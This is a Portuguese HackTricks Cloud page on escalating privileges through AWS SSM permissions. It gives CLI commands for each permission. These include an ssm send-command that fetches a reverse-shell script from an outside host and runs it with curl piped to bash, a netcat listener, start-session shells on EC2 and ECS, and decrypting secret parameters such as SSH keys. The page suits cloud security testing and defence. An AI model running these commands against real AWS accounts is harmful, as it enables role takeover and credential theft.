AWS - SSM Privesc
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
SSM
Para mais informações sobre SSM, consulte:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
Um atacante com a permissão ssm:SendCommand
pode executar comandos em instâncias que executam o Amazon SSM Agent e comprometer o IAM Role que está sendo executado dentro dele.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode simplesmente capturar o rev shell localmente com:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
Impacto Potencial: Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em funcionamento.
ssm:StartSession
Um atacante com a permissão ssm:StartSession
pode iniciar uma sessão semelhante ao SSH em instâncias que executam o Agente SSM da Amazon e comprometer o Papel IAM em execução dentro dele.
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
caution
Para iniciar uma sessão, você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Impacto Potencial: Privesc direto para os papéis IAM do EC2 anexados às instâncias em execução com SSM Agents em execução.
Privesc para ECS
Quando as tarefas ECS são executadas com ExecuteCommand
habilitado, usuários com permissões suficientes podem usar ecs execute-command
para executar um comando dentro do contêiner.
De acordo com a documentação, isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “exec” e o contêiner de destino com o SSM Session Manager. (Plugin SSM Session Manager necessário para que isso funcione)
Portanto, usuários com ssm:StartSession
poderão obter um shell dentro das tarefas ECS com essa opção habilitada apenas executando:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
Impacto Potencial: Privesc direto para os papéis ECS
IAM anexados a tarefas em execução com ExecuteCommand
habilitado.
ssm:ResumeSession
Um atacante com a permissão ssm:ResumeSession
pode re-iniciar uma sessão semelhante ao SSH em instâncias executando o Amazon SSM Agent com um estado de sessão SSM desconectado e comprometer o Papel IAM em execução dentro dele.
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
Impacto Potencial: Privesc direto para os papéis IAM do EC2 anexados a instâncias em execução com Agentes SSM em execução e sessões desconectadas.
ssm:DescribeParameters
, (ssm:GetParameter
| ssm:GetParameters
)
Um atacante com as permissões mencionadas será capaz de listar os parâmetros SSM e lê-los em texto claro. Nesses parâmetros, você pode frequentemente encontrar informações sensíveis como chaves SSH ou chaves de API.
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Impacto Potencial: Encontrar informações sensíveis dentro dos parâmetros.
ssm:ListCommands
Um atacante com esta permissão pode listar todos os comandos enviados e, esperançosamente, encontrar informações sensíveis neles.
aws ssm list-commands
Impacto Potencial: Encontrar informações sensíveis dentro das linhas de comando.
ssm:GetCommandInvocation
, (ssm:ListCommandInvocations
| ssm:ListCommands
)
Um atacante com essas permissões pode listar todos os comandos enviados e ler a saída gerada, na esperança de encontrar informações sensíveis nela.
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
Impacto Potencial: Encontrar informações sensíveis dentro da saída dos comandos.
Codebuild
Você também pode usar SSM para acessar um projeto de codebuild que está sendo construído:
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.